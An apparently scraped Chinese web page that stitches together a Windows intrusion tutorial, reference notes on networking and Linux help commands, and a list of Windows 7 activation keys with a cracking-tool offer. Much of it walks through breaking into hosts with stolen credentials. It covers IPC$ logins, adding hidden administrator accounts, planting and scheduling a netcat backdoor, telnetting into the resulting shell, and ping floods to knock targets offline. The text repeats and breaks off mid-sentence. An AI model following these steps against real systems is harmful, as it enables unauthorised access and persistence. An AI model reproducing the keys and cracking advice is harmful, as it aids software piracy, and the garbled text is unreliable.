这里我们假如你得到的用户是hbx，密码是123456。假设对方IP为127001
net use \\127001\ipc$ 123456 /user:hbx
退出的命令是
net use \\127001\ipc$ /delte
下面的 *** 作你必须登陆后才可以用登陆的方法就在上面
----------------------
下面我们讲怎么创建一个用户，由于SA的权限相当于系统的超级用户
我们加一个heibai的用户密码为lovechina
net user heibai lovechina /add
只要显示命令成功，那么我们可以把他加入Administrator组了
net localgroup Administrators heibai /add
----------------------
2: telnet
net start telnet
这样可以打开对方的TELNET服务
----------------------
3: 映射远程主机C盘为本地Z盘
net use z: \\19216801\c$ "7788" /user:"administrator"
命令成功完成。
----------------------
这里是将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道是否这样，我的2000就是删除不了它。
net user guest /active:yes
----------------------
这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用户也可以的。只要有权限就行了呀！
net user guest lovechina
net命令果然强大啊！
----------------------
2:at
一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去，怎么启动他呢？
那么需要用AT命令，这里假设你已经登陆了那个服务器。
你首先要得到对方的时间，
net time \\127001
将会返回一个时间，这里假设时间为12:1，现在需要新建一个作业，其ID=1
at \\127001 12:3 ncexe
这里假设了一个木马，名为NCEXE，这个东西要在对方服务器上
这里介绍一下NC，NC是NETCAT的简称，为了方便输入，一般会被改名它是一个TELNET服务，端口为99
等到了12:3就可以连接到对方的99端口这样就给对方种下了木马
----------------------
3:telnet
这个命令非常实用，它可以与远方做连接，不过正常下需要密码、用户，不过你给对方种了木马，直接连到这个木马打开的端口
telnet 127001 99
这样就可以连到对方的99端口那你就可以在对方运行命令了，这个也就是肉鸡
4:FTP
它可以将你的东西传到对方机子上，你可以去申请个支持FTP上传的空间，国内多的是，如果真的找不到，我给个>>1最基本，最常用的，测试物理网络的
ping 1921681088 －t ，参数－t是等待用户去中断测试
2查看DNS、IP、Mac等
AWin98：winipcfg
BWin2000以上：Ipconfig/all
CNSLOOKUP：如查看河北的DNS
C:\>nslookup
Default Server: nshesjpttnetcn
Address: 2029916068
>server 20299412 则将DNS改为了412
> poppcpopcom
Server: nshesjpttnetcn
Address: 2029916068
Non-authoritative answer:
Name: poppcpopcom
Address: 20299160212
3网络信使
Net send 计算机名/IP| (广播) 传送内容，注意不能跨网段
net stop messenger 停止信使服务，也可以在面板－服务修改
net start messenger 开始信使服务
4探测对方对方计算机名，所在的组、域及当前用户名
ping －a IP －t ，只显示NetBios名
nbtstat -a 19216810146 比较全的
5netstat -a 显示出你的计算机当前所开放的所有端口
netstat -s -e 比较详细的显示你的网络资料，包括TCP、UDP、ICMP 和 IP的统计等
6探测arp绑定（动态和静态）列表，显示所有连接了我的计算机，显示对方IP和MAC地址
arp -a
7在代理服务器端捆绑IP和MAC地址，解决局域网内盗用IP：
ARP －s 1921681059 00－50－ff－6c－08－75
解除网卡的IP与MAC地址的绑定：
arp -d 网卡IP
8在网络邻居上隐藏你的计算机
net config server /hidden:yes
net config server /hidden:no 则为开启
9几个net命令
A显示当前工作组服务器列表 net view，当不带选项使用本命令时，它就会显示当前域或网络上的计算机上的列表。
比如：查看这个IP上的共享资源，就可以
C:\>net view 192168108
在 192168108 的共享资源
资源共享名 类型 用途 注释 网站服务 Disk 命令成功完成。
B查看计算机上的用户帐号列表 net user
C查看网络链接 net use
例如：net use z: \\192168108\movie 将这个IP的movie共享目录映射为本地的Z盘
D记录链接 net session
例如： C:\>net session
计算机 用户名 客户类型 打开空闲时间
\\19216810110 ROME Windows 2000 2195000:03:12
\\1921681051 ROME Windows 2000 2195 0 00:00:39
命令成功完成。
10路由跟踪命令
Atracert poppcpopcom
Bpathping poppcpopcom 除了显示路由外，还提供325S的分析，计算丢失包的％ 11关于共享安全的几个命令
A查看你机器的共享资源 net share
B手工删除共享
net share c$ /d
net share d$ /d
net share ipc$ /d
net share admin$ /d 注意$后有空格。
C增加一个共享：
c:\net share mymovie=e:\downloads\movie /users:1 mymovie 共享成功。同时限制链接用户数为1人。
12在DOS行下设置静态IP
A设置静态IP
CMD
netsh
netsh>int
interface>ip
interface ip>set add "本地链接" static IP地址 mask gateway
B查看IP设置
interface ip>show address
测试mtu
ping -f -l size 服务器ip
教你使用netstat命令
netstat命令的功能是显示网络连接、路由表和网络接口信息，可以让用户得知目前都有哪些网络连接正在运作。
该命令的一般格式为：
netstat [选项]
命令中各选项的含义如下：
-a 显示所有socket，包括正在监听的。
-c 每隔1秒就重新显示一遍，直到用户中断它。
-i 显示所有网络接口的信息，格式同“ipconfig -e”。
-n 以网络IP地址代替名称，显示出网络连接情形。
-r 显示核心路由表，格式同“route -e”。
-t 显示TCP协议的连接情况。
-u 显示UDP协议的连接情况。
-v 显示正在进行的工作。
[例]在本地机上使用netstat命令。
$ netstat
Active Internet connections （w/o servers）
Proto Recv-Q Send-Q Local Address Foreign Address State
Active UNIX domain sockets （w/o servers）
Proto RefCnt Flags Type State I-Node Path
unix 1 [ ] STREAM CONNECTED 270 @00000008
unix 1 [ ] STREAM CONNECTED 150 @00000002
unix 1 [ ] STREAM CONNECTED 104 @00000001
unix 1 [ ] STREAM CONNECTED 222 @00000004
unix 1 [ ] STREAM CONNECTED 171 @00000003
unix 1 [ ] STREAM CONNECTED 271 /dev/log
unix 1 [ ] STREAM CONNECTED 225 /dev/log
unix 1 [ ] STREAM CONNECTED 223 /dev/log
unix 1 [ ] STREAM CONNECTED 203 /dev/log
unix 1 [ ] STREAM CONNECTED 105 /dev/log
……
nslookup命令
nslookup命令的功能是查询一台机器的IP地址和其对应的域名。它通常需要一台域名服务器来提供域名服务。如果用户已经设置好域名服务器，就可以用这个命令查看不同主机的IP地址对应的域名。
该命令的一般格式为：
nslookup [IP地址/域名]
[例]在本地机上使用nslookup命令。
$ nslookup
Default Server: nametlccomcn
Address: 192168199
>
在符号“>”后面输入要查询的IP地址或域名并回车即可。如果要退出该命令，输入exit并回车即可。
finger命令
finger命令的功能是查询用户的信息，通常会显示系统中某个用户的用户名、主目录、停滞时间、登录时间、登录shell等信息。如果要查询远程机上的用户信息，需要在用户名后面接“@主机名”，采用[用户名@主机名]的格式，不过要查询的网络主机需要运行finger守护进程。
该命令的一般格式为：
finger [选项] [使用者] [用户@主机]
命令中各选项的含义如下：
-s 显示用户的注册名、实际姓名、终端名称、写状态、停滞时间、登录时间等信息。 -l 除了用-s选项显示的信息外，还显示用户主目录、登录shell、邮件状态等信息，以及用户主目录下的plan、project和forward文件的内容。
-p 除了不显示plan文件和project文件以外，与-l选项相同。
[例]在本地机上使用finger命令。
$ finger xxq
Login: xxq Name:
Directory: /home/xxq Shell: /bin/bash
Last login Thu Jan 1 21:43 （CST） on tty1
No mail
No Plan
$ finger
Login Name Tty Idle Login Time Office Office Phone
root root 1 28 Nov 25 09:17
……
ping命令
ping命令用于查看网络上的主机是否在工作，它向该主机发送ICMP ECHO_REQUEST包。有时我们想从网络上的某台主机上下载文件，可是又不知道那台主机是否开着，就需要使用ping命令查看。
该命令的一般格式为：
ping [选项] 主机名/IP地址
命令中各选项的含义如下：
-c 数目 在发送指定数目的包后停止。
-d 设定SO_DEBUG的选项。
-f 大量且快速地送网络封包给一台机器，看它的回应。
-I 秒数 设定间隔几秒送一个网络封包给一台机器，预设值是一秒送一次。
-l 次数 在指定次数内，以最快的方式送封包数据到指定机器（只有超级用户可以使用此选项）。
-q 不显示任何传送封包的信息，只显示最后的结果。
-r 不经由网关而直接送封包到一台机器，通常是查看本机的网络接口是否有问题。
-s 字节数 指定发送的数据字节数，预设值是56，加上8字节的ICMP头，一共是64ICMP数据字节。
TurboLinux系统提供了大量命令和许多实用工具软件，本书由于篇幅的关系，主要介绍了TurboLinux的一些常用命令和实用软件。读者可以使用系统提供的联机帮助手册获取更多的信息。
TurboLinux系统的联机手册中有大量的可用信息，根据其内容分成若干节。在Linux联机帮助手册上，几乎每个命令都有说明。因此，当用户对于Linux上的一个命令不会用或是不太了解时，就请使用联机帮助命令。
本章主要介绍几个常用的联机帮助命令。包括：
man 查询每个命令的使用方法
help 查询Shell命令
whereis 查询某个命令的位置
locate 查询某个文件的位置
man命令
这个命令应该是每个Linux系统上都有的。它格式化并显示在线的手册页。通常使用者只要在命令man后，输入想要获取的命令的名称（例如 ls），man就会列出一份完整的说明，其内容包括命令语法、各选项的意义以及相关命令等。
该命令的一般形式为：
man [选项] 命令名称
命令中各选项的含义分别为：
-M 路径 指定搜索man手册页的路径，通常这个路径由环境变量MANPATH预设，如果在命令行上指定另外的路径，则覆盖MANPATH的设定。
-P 命令 指定所使用的分页程序，缺省使用/usr/bin/less–is，在环境变量MANPAGER中预设。
-S 章节 由于一个命令名称可能会有很多类别，至于类别，列出如下：
章节 说明
1 一般使用者的命令
2 系统调用的命令
3 C语言函数库的命令
4 有关驱动程序和系统设备的解释
5 配置文件的解释
6 游戏程序的命令
7 其他的软件或是程序的命令
有关系统维护的命令
-a 显示所有的手册页，而不是只显示第一个。
-d 这个选项主要在检查时使用，如果用户加入了一个新的文件，就可以用这个选项检查是否出错，这个选项并不会列出文件内容。
-f 只显示出命令的功能而不显示其中详细的说明文件。
-p string 设定运行的预先处理程序的顺序，共有下列几项：
e eqn t tbl
g grap r refer
p pic v vgrind
-w 不显示手册页，只显示将被格式化和显示的文件所在位置。
例如：查看cd命令的使用方法。
$ man cd
cd（n） Tcl Built-In Commands cd（n）
NAME
cd - Change working directory
SYNOPSIS
cd dirName
DEs criptION
Change the current working directory to dirName, or to the
home directory （as specified in the HOME environment vari-
able） if dirName is not given Returns an empty string
KEYWORDS
working directory
Tcl 1
（END）
可以按q键退出man命令。
help命令
help命令用于查看所有Shell命令。用户可以通过该命令寻求Shell命令的用法，只需在所查找的命令后输入help命令，就可以看到所查命令的内容了。
例如：查看od命令的使用方法。
$ od –help
whereis命令
这个程序的主要功能是寻找一个命令所在的位置。例如，我们最常用的ls命令，它是在/bin这个目录下的。如果希望知道某个命令存在哪一个目录下，可以用whereis命令来查询。
该命令的一般形式为：
whereis [选项] 命令名
说明：一般直接使用不加选项的whereis命令，但用户也可根据特殊需要选用它的一些选项。
该命令中各选项的含义分别为：
b 只查找二进制文件
m 查找主要文件
s 查找来源
u 查找不常用的记录文件
例如：查找ls命令在什么目录下。
$ whereis ls
ls:/bin/ls/usr/man/man1/ls1
FTP命令是Internet用户使用最频繁的命令之一，不论是在DOS还是UNIX *** 作系统下使用FTP，都会遇到大量的FTP内部命令。熟悉并灵活应用FTP的内部命令，可以大大方便使用者，并收到事半功倍之效。
FTP的命令行格式为： ftp -v -d -i -n -g [主机名] ，其中
-v 显示远程服务器的所有响应信息；
-i 限制ftp的自动登录，即不使用；
-n etrc文件；
-d 使用调试方式；
-g 取消全局文件名。
ftp使用的内部命令如下(中括号表示可选项):
1 ![cmd[args]]：在本地机中执行交互shell，exit回到ftp环境，如：!lszip。
2 $ macro-ame[args]：执行宏定义macro-name。
3 account[password]：提供登录远程系统成功后访问系统资源所需的补充口令。
4 append local-file[remote-file]：将本地文件追加到远程系统主机，若未指定远程系统文件名，则使用本地文件名。
5 ascii：使用ascii类型传输方式。
6 bell：每个命令执行完毕后计算机响铃一次。
7 bin：使用二进制文件传输方式。
8 bye：退出ftp会话过程。
9 case：在使用mget时，将远程主机文件名中的大写转为小写字母。
10 cd remote-dir：进入远程主机目录。
11 cdup：进入远程主机目录的父目录。
12 chmod mode file-name：将远程主机文件file-name的存取方式设置为mode，如： chmod 777 aout 。
13 close：中断与远程服务器的ftp会话(与open对应)。
14 cr：使用asscii方式传输文件时，将回车换行转换为回行。
15 delete remote-file：删除远程主机文件。
16 debug[debug-value]：设置调试方式， 显示发送至远程主机的每条命令，如： deb up 3，若设为0，表示取消debug。
17 dir[remote-dir][local-file]：显示远程主机目录，并将结果存入本地文件local-file。
18 disconnection：同close。
19 form format：将文件传输方式设置为format，缺省为file方式。
20 get remote-file[local-file]： 将远程主机的文件remote-file传至本地硬盘的local-file。
21 glob：设置mdelete，mget，mput的文件名扩展，缺省时不扩展文件名，同命令行的-g参数。
22 hash：每传输1024字节，显示一个hash符号(#)。
23 help[cmd]：显示ftp内部命令cmd的帮助信息，如：help get。
24 idle[seconds]：将远程服务器的休眠计时器设为[seconds]秒。
25 image：设置二进制传输方式(同binary)。
26 lcd[dir]：将本地工作目录切换至dir。
27 ls[remote-dir][local-file]：显示远程目录remote-dir， 并存入本地文件local-file。
28 macdef macro-name：定义一个宏，遇到macdef下的空行时，宏定义结束。
29 mdelete[remote-file]：删除远程主机文件。
30 mdir remote-files local-file：与dir类似，但可指定多个远程文件，如： mdir ozipoutfile 。
31 mget remote-files：传输多个远程文件。
32 mkdir dir-name：在远程主机中建一目录。
33 mls remote-file local-file：同nlist，但可指定多个文件名。
34 mode[modename]：将文件传输方式设置为modename， 缺省为stream方式。
35 modtime file-name：显示远程主机文件的最后修改时间。
36 mput local-file：将多个文件传输至远程主机。
37 newer file-name： 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近，则重传该文件。
38 nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的local-file。
39 nmap[inpattern outpattern]：设置文件名映射机制， 使得文件传输时，文件中的某些字符相互转换，如：nmap $1$2$3[$1，$2][$2，$3]，则传输文件a1a2a3时，文件名变为a1，a2。该命令特别适用于远程主机为非UNIX机的情况。
40 ntrans[inchars[outchars]]：设置文件名字符的翻译机制，如ntrans1R，则文件名LLL将变为RRR。
41 open host[port]：建立指定ftp服务器连接，可指定连接端口。
42 passive：进入被动传输方式。
43 prompt：设置多个文件传输时的交互提示。
44 proxy ftp-cmd：在次要控制连接中，执行一条ftp命令，该命令允许连接两个ftp服务器，以在两个服务器间传输文件。第一条ftp命令必须为open，以首先建立两个服务器间的连接。
45 put local-file[remote-file]：将本地文件local-file传送至远程主机。
46 pwd：显示远程主机的当前工作目录。
47 quit：同bye，退出ftp会话。
48 quote arg1，arg2：将参数逐字发至远程ftp服务器，如：quote syst。
49 recv remote-file[local-file]：同get。
50 reget remote-file[local-file]：类似于get，但若local-file存在，则从上次传输中断处续传。
51 rhelp[cmd-name]：请求获得远程主机的帮助。
52 rstatus[file-name]：若未指定文件名，则显示远程主机的状态，否则显示文件状态。
53 rename[from][to]：更改远程主机文件名。
54 reset：清除回答队列。
55 restart marker：从指定的标志marker处，重新开始get或put，如：restart 130。
56 rmdir dir-name：删除远程主机目录。
57 runique：设置文件名唯一性存储。
58 send local-file[remote-file]：同put。
59 sendport：设置PORT命令的使用。
60 site arg1，arg2：将参数作为SITE命令逐字发送至远程ftp主机。
61 size file-name：显示远程主机文件大小，如：site idle 7200。
62 status：显示当前ftp状态。
63 struct[struct-name]：将文件传输结构设置为struct-name，缺省时使用stream结构。
64 sunique：将远程主机文件名存储设置为唯一(与runique对应)。
65 system：显示远程主机的 *** 作系统类型。
66 tenex：将文件传输类型设置为TENEX机的所需的类型。
67 tick：设置传输时的字节计数器。
68 trace：设置包跟踪。
69 type[type-name]：设置文件传输类型为type-name，缺省为ascii，如：type binary，设置二进制传输方式。
70 umask[newmask]：将远程服务器的缺省umask设置为newmask，如：umask 3。
71 user user-name[password][account]：向远程主机表明自己的身份，需要口令时，必须输入口令，如：user anonymous my@email。
72 verbose：同命令行的-v参数，即设置详尽报告方式，ftp服务器的所有响应都将显示给用户，缺省为on。
73 [cmd]：同help。
入侵命令详解
--------------------------------------------------------------------------------
1：NET
只要你拥有某IP的用户名和密码，那就用IPC$做连接吧！
这里我们假如你得到的用户是hbx，密码是123456。假设对方IP为127001
net use \\127001\ipc$ 123456 /user:hbx null密码为空
退出的命令是
net use \\127001\ipc$ /delete
--------------------------------
net share是查看主机共享资源我们用它建一个秘密共享目录吧net share me=c:\winnt\system32 这样这个机器就有了一个名为me的共享目录，而打开它就是winnt下的system32目录，如果你用win2000的系统就知这个目录有多重要了，如果不想要也好办net share me /delete 呵呵，没有了，是不是很方便的啊。
---------------------- ---------------------- ----------------------
下面的 *** 作你必须登陆后才可以用登陆的方法就在上面
---------------------- ---------------------- ----------------------
下面我们讲怎么创建一个用户，由于SA的权限相当于系统的超级用户
我们加一个heibai的用户密码为lovechina
net user heibai lovechina /add
只要显示命令成功，那么我们可以把他加入Administrator组了
net localgroup Administrators heibai /add
----------------------
这里是讲映射对方的C盘，当然其他盘也可以，只要存在就行了我们这里把对方的C盘映射到本地的Z盘
net use z:\\127001\c$
----------------------
net start telnet
这样可以打开对方的TELNET服务
----------------------
这里是将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道是否这样，我的2000就是删除不了它。
net user guest /active:yes
----------------------
net user guest /active:no这样这个guest的用户就又被禁用了
----------------------
这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用户也可以的。只要有权限就行了呀！
net user guest lovechina
有人问到提高权限的问题 下面就解决下
net localgroup administrators guest /add
将guest变为administrator
net命令果然强大啊！ net view命令看对方开了共享
-------------------------------------------------------------------------------------------------------------
net user是查看所有用户列表，看看哪个用户是和你一样偷跑进来的，给他名给删掉，让他美，
net user 用户名 /delete哈哈,他没有了,管他什么是不是管理员呢,不过我们还是查一下管理员组有什么用户吧,这样的用户才对我们有用嘛 net localgroup administrators就列出管理员组成员了,再查看一下administrator这个用户，因为这个是创建系统时建出来的，所以要看看他的系统是什么时间创建出来的
net user administrator，然后再查看别的管理员用户是什么时间创建的，如果相差太远，那可能是被别人偷偷跑来偷建的，一律del，安全第一哦
---------------------------------------------------------------------------------------------------------------------------
2:at
一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去，怎么启动他呢？
那么需要用AT命令，这里假设你已经登陆了那个服务器。
----------------------
你首先要得到对方的时间，
net time \\127001
----------------------
将会返回一个时间，这里假设时间为12:1，现在需要新建一个作业，其ID=1
at \\127001 12:3 ncexe
这里假设了一个木马，名为NCEXE，这个东西要在对方服务器上
这里介绍一下NC，NC是NETCAT的简称，为了方便输入，一般会被改名它是一个TELNET服务，端口为99
等到了12:3就可以连接到对方的99端口这样就给对方种下了木马
-----------------------------------------------------
at命令功能强大,下面可以打个比方:
C:\> AT 22:30 Start C:\prettyboymp3
新加了一项作业，其作业 ID = 1 [现在我们新建立了一个任务 在22:30分 系统将自动播放歌曲]
---------------------------------------------------------------------------------------------------------------------------
3:telnet
这个命令非常实用，它可以与远方做连接，不过正常下需要密码、用户，不过你给对方种了木马，直接连到这个木马打开的端口
telnet 127001 99
这样就可以连到对方的99端口那你就可以在对方运行命令了，这个也就是肉鸡
---------------------------------------------------------------------------------------------------------------------------
4:FTP
它可以将你的东西传到对方机子上，你可以去申请个支持FTP上传的空间，国内多的是，如果真的找不到，我给>一 ping
它是用来检查网络是否通畅或者网络连接速度的命令。作为一个生活在网络上的管理员或者黑客来说，ping命令是第一个必须掌握的DOS命令，它所利用的原理是这样的：网络上的机器都有唯一确定的IP地址，我们给目标IP地址发送一个数据包，对方就要返回一个同样大小的数据包，根据返回的数据包我们可以确定目标主机的存在，可以初步判断目标主机的 *** 作系统等。下面就来看看它的一些常用的 *** 作。先看看帮助吧，在DOS窗口中键入：ping / 回车，只掌握一些基本的很有用的参数就可以了。
-t 表示将不间断向目标IP发送数据包，直到我们强迫其停止。试想，如果你使用100M的宽带接入，而目标IP是56K的小猫，那么要不了多久，目标IP就因为承受不了这么多的数据而掉线，呵呵，一次攻击就这么简单的实现了。
-l 定义发送数据包的大小，默认为32字节，我们利用它可以最大定义到65500字节。结合上面介绍的-t参数一起使用，会有更好的效果哦。
-n 定义向目标IP发送数据包的次数，默认为3次。如果网络速度比较慢，3次对我们来说也浪费了不少时间，因为现在我们的目的仅仅是判断目标IP是否存在，那么就定义为一次吧。
说明一下，如果-t 参数和 -n参数一起使用，ping命令就以放在后面的参数为标准，比如“ping IP -t -n 3”，虽然使用了-t参数，但并不是一直ping下去，而是只ping 3次。另外，ping命令不一定非得ping IP，也可以直接ping主机域名，这样就可以得到主机的IP。
举个例子来说明一下具体用法
这里time=2表示从发出数据包到接受到返回数据包所用的时间是2秒，从这里可以判断网络连接速度的大小。从TTL的返回值可以初步判断被ping主机的 *** 作系统，之所以说“初步判断”是因为这个值是可以修改的。这里TTL=32表示 *** 作系统可能是win98。
（小知识：如果TTL=128，则表示目标主机可能是Win2000；如果TTL=250，则目标主机可能是Unix）
至于利用ping命令可以快速查找局域网故障，可以快速搜索最快的QQ服务器，可以对别人进行ping攻击……这些就靠大家自己发挥了。
二 nbtstat
该命令使用TCP/IP上的NetBIOS显示协议统计和当前TCP/IP连接，使用这个命令你可以得到远程主机的NETBIOS信息，比如用户名、所属的工作组、网卡的MAC地址等。在此我们就有必要了解几个基本的参数。
-a 使用这个参数，只要你知道了远程主机的机器名称，就可以得到它的NETBIOS信息。
-A 这个参数也可以得到远程主机的NETBIOS信息，但需要你知道它的IP。
-n 列出本地机器的NETBIOS信息。
当得到了对方的IP或者机器名的时候，就可以使用nbtstat命令来进一步得到对方的信息了，这又增加了我们入侵的保险系数。
三 netstat
这是一个用来查看网络状态的命令， *** 作简便功能强大。
-a 查看本地机器的所有开放端口，可以有效发现和预防木马，可以知道机器所开的服务等信息。这里可以看出本地机器开放有FTP服务、Telnet服务、邮件服务、WEB服务等。用法：netstat -a IP。
-r 列出当前的路由信息，告诉我们本地机器的网关、子网掩码等信息。用法：netstat -r IP。
四 tracert
跟踪路由信息，使用此命令可以查出数据从本地机器传输到目标主机所经过的所有途径，这对我们了解网络布局和结构很有帮助。
这里说明数据从本地机器传输到19216801的机器上，中间没有经过任何中转，说明这两台机器是在同一段局域网内。用法：tracert IP。
五 net
这个命令是网络命令中最重要的一个，必须透彻掌握它的每一个子命令的用法，因为它的功能实在是太强大了，这简直就是微软为我们提供的最好的入侵工具。首先让我们来看一看它都有那些子命令，键入net /回车。
在这里，我们重点掌握几个入侵常用的子命令。
net view
使用此命令查看远程主机的所以共享资源。命令格式为net view \\IP。如图7。
net use
把远程主机的某个共享资源影射为本地盘符，图形界面方便使用，命令格式为net use x: \\IP\sharename。上面一个表示把19216805IP的共享名为magic的目录影射为本地的Z盘。下面表示和19216807建立IPC$连接（net use \\IP\IPC$ "password" /user:"name"）。
建立了IPC$连接后，呵呵，就可以上传文件了：copy ncexe \\19216807\admin$，表示把本地目录下的ncexe传到远程主机，结合后面要介绍到的其他DOS命令就可以实现入侵了。
net start
使用它来启动远程主机上的服务。当你和远程主机建立连接后，如果发现它的什么服务没有启动，而你又想利用此服务怎么办？就使用这个命令来启动吧。用法：net start servername，如图9，成功启动了telnet服务。
net stop
入侵后发现远程主机的某个服务碍手碍脚，怎么办？利用这个命令停掉就ok了，用法和net start同。
net user
查看和帐户有关的情况，包括新建帐户、删除帐户、查看特定帐户、激活帐户、帐户禁用等。这对我们入侵是很有利的，最重要的，它为我们克隆帐户提供了前提。键入不带参数的net user，可以查看所有用户，包括已经禁用的。下面分别讲解。
1，net user abcd 1234 /add，新建一个用户名为abcd，密码为1234的帐户，默认为user组成员。
2，net user abcd /del，将用户名为abcd的用户删除。
3，net user abcd /active:no，将用户名为abcd的用户禁用。
4，net user abcd /active:yes，激活用户名为abcd的用户。
5，net user abcd，查看用户名为abcd的用户的情况，如图10。
net localgroup
查看所有和用户组有关的信息和进行相关 *** 作。键入不带参数的net localgroup即列出当前所有的用户组。在入侵过程中，我们一般利用它来把某个帐户提升为administrator组帐户，这样我们利用这个帐户就可以控制整个远程主机了。用法：net localgroup groupname username /add。
现在我们把刚才新建的用户abcd加到administrator组里去了，这时候abcd用户已经是超级管理员了，呵呵，你可以再使用net user abcd来查看他的状态，和图10进行比较就可以看出来。但这样太明显了，网管一看用户情况就能漏出破绽，所以这种方法只能对付菜鸟网管，但我们还得知道。现在的手段都是利用其他工具和手段克隆一个让网管看不出来的超级管理员。
net time
这个命令可以查看远程主机当前的时间。如果你的目标只是进入到远程主机里面，那么也许就用不到这个命令了。但简单的入侵成功了，难道只是看看吗？我们需要进一步渗透。这就连远程主机当前的时间都需要知道，因为利用时间和其他手段（后面会讲到）可以实现某个命令和程序的定时启动，为我们进一步入侵打好基础。用法：net time \\IP。
六 at
这个命令的作用是安排在特定日期或时间执行某个特定的命令和程序（知道net time的重要了吧？）。当我们知道了远程主机的当前时间，就可以利用此命令让其在以后的某个时间（比如2分钟后）执行某个程序和命令。用法：at time command \\computer。
表示在6点55分时，让名称为a-01的计算机开启telnet服务（这里net start telnet即为开启telnet服务的命令）。
七 ftp
大家对这个命令应该比较熟悉了吧？网络上开放的ftp的主机很多，其中很大一部分是匿名的，也就是说任何人都可以登陆上去。现在如果你扫到了一台开放ftp服务的主机（一般都是开了21端口的机器），如果你还不会使用ftp的命令怎么办？下面就给出基本的ftp命令使用方法。首先在命令行键入ftp回车，出现ftp的提示符，这时候可以键入“help”来查看帮助（任何DOS命令都可以使用此方法查看其帮助）。
大家可能看到了，这么多命令该怎么用？其实也用不到那么多，掌握几个基本的就够了。
首先是登陆过程，这就要用到open了，直接在ftp的提示符下输入“open 主机IP ftp端口”回车即可，一般端口默认都是21，可以不写。接着就是输入合法的用户名和密码进行登陆了，这里以匿名ftp为例介绍。
用户名和密码都是ftp，密码是不显示的。当提示 logged in时，就说明登陆成功。这里因为是匿名登陆，所以用户显示为Anonymous。
接下来就要介绍具体命令的使用方法了。
dir 跟DOS命令一样，用于查看服务器的文件，直接敲上dir回车，就可以看到此ftp服务器上的文件。
cd 进入某个文件夹。
get 下载文件到本地机器。
put 上传文件到远程服务器。这就要看远程ftp服务器是否给了你可写的权限了，如果可以就自由发挥去吧。
delete 删除远程ftp服务器上的文件。这也必须保证你有可写的权限。
bye 退出当前连接。
quit 同上。
八 telnet
功能强大的远程登陆命令，几乎所有的入侵者都喜欢用它，屡试不爽。为什么？它 *** 作简单，如同使用自己的机器一样，只要你熟悉DOS命令，在成功以administrator身份连接了远程机器后，就可以用它来干你想干的一切了。下面介绍一下使用方法，首先键入telnet回车，再键入help查看其帮助信息。
然后在提示符下键入open IP回车，这时就出现了登陆窗口，让你输入合法的用户名和密码，这里输入任何密码都是不显示的。
当输入用户名和密码都正确后就成功建立了telnet连接，这时候你就在远程主机上具有了和此用户一样的权限，利用DOS命令就可以实现你想干的事情了。这里我使用的超级管理员权限登陆的。
到这里为止，网络DOS命令的介绍就告一段落了，这里介绍的目的只是给菜鸟网管一个印象，让其知道熟悉和掌握网络DOS命令的重要性。其实和网络有关的DOS命令还远不止这些，这里只是抛砖引玉，希望能对广大菜鸟网管有所帮助。学好DOS对当好网管有很大的帮助，特别的熟练掌握了一些网络的DOS命令。
另外大家应该清楚，任何人要想进入系统，必须得有一个合法的用户名和密码（输入法漏洞差不多绝迹了吧），哪怕你拿到帐户的只有一个很小的权限，你也可以利用它来达到最后的目的。所以坚决消灭空口令，给自己的帐户加上一个强壮的密码，是最好的防御弱口令入侵的方法。Win7旗舰、企业、专业版的激活密钥(32位、64位均可用)
FJGCP-4DFJD-GJY49-VJBQ7-HYRR2 Acer
VQ3PY-VRX6D-CBG4J-8C6R2-TCVBD Alienware
2Y4WT-DHTBF-Q6MMK-KYK6X-VKM6G Asus
342DG-6YJR8-X92GV-V7DCV-P4K27 Dell
9CW99-79BBF-D4M3X-9BK9M-4RPH9 Fujitsu
MHFPT-8C8M2-V9488-FGM44-2C9T3 HP
6K2KY-BFH24-PJW6W-9GK29-TMPWP Lenovo
49PB6-6BJ6Y-KHGCQ-7DDY6-TF7CD Samsung
YJJYR-666KV-8T4YH-KM9TB-4PY2W Sony
76MTG-QMQJQ-46DQR-CHRBB-7K3HD Stone
4BRY2-6W9VH-9CM6R-GPKRY-HHVCY Tarox
2XQ63-J3P67-9G3JC-FHQ68-8Q2F3 Toshiba
FJGCP-4DFJD-GJY49-VJBQ7-HYRR2
TG664-TJ7YK-2VY3K-4YFY6-BCXF4
MVG64-RQDVY-KB9RM-MX9WT-MW824
TDTY2-6HJ49-46PCK-6HY88-KQXXX
FKDJ2-RCXKD-TFW4H-2PTGK-MMMH8
H67R8-4HCH4-WGVKX-GV888-8D79B
J4M92-42VH8-M9JWJ-BR7H6-KTFP6
76RJX-HDXWD-8BYQJ-GRPPQ-8PP92
P3P9R-3DH3Q-KGD38-DWRR4-RF7BC
C2236-JBPWG-TGWVG-GC2WV-D6V6Q
482XP-6J9WR-4JXT3-VBPP6-FQF4M
KH2J9-PC326-T44D4-39H6V-TVPBY
TFP9Y-VCY3P-VVH3T-8XXCC-MF4YK
J783Y-JKQWR-677Q8-KCXTF-BHWGC
C4M9W-WPRDG-QBB3F-VM9K8-KDQ9Y
2VCGQ-BRVJ4-2HGJ2-K36X9-J66JG
MGX79-TPQB9-KQ248-KXR2V-DHRTD
FJHWT-KDGHY-K2384-93CT7-323RC
不要直接激活需在断网状态下选择电话激活
然后打免费电话(备好纸笔记录激活ID用)根据提示进行 *** 作
友情提示:
现今Win7系统的激活密匙超过99%均已失效
采取激活工具破解激活是最省时省力的做法
当然你要愿意花几块去[X]宝买个激活密钥也是一种选择~
如果上面密码都激活不了就点击下载附件→-Win7激活工具
适用于32+64位Win7各版激活成功率超过95%运行后按提示重启再进系统就已激活成功OK:)
现在Win7破解激活技术已很成熟使用工具激活跟使用密钥激活效果完全一样少有激活失效情况
如果我的解答对解决你の问题有帮助请点击我的回答下方选为满意答案
欢迎分享，转载请注明来源：内存溢出
微信扫一扫
支付宝扫一扫
评论列表（0条）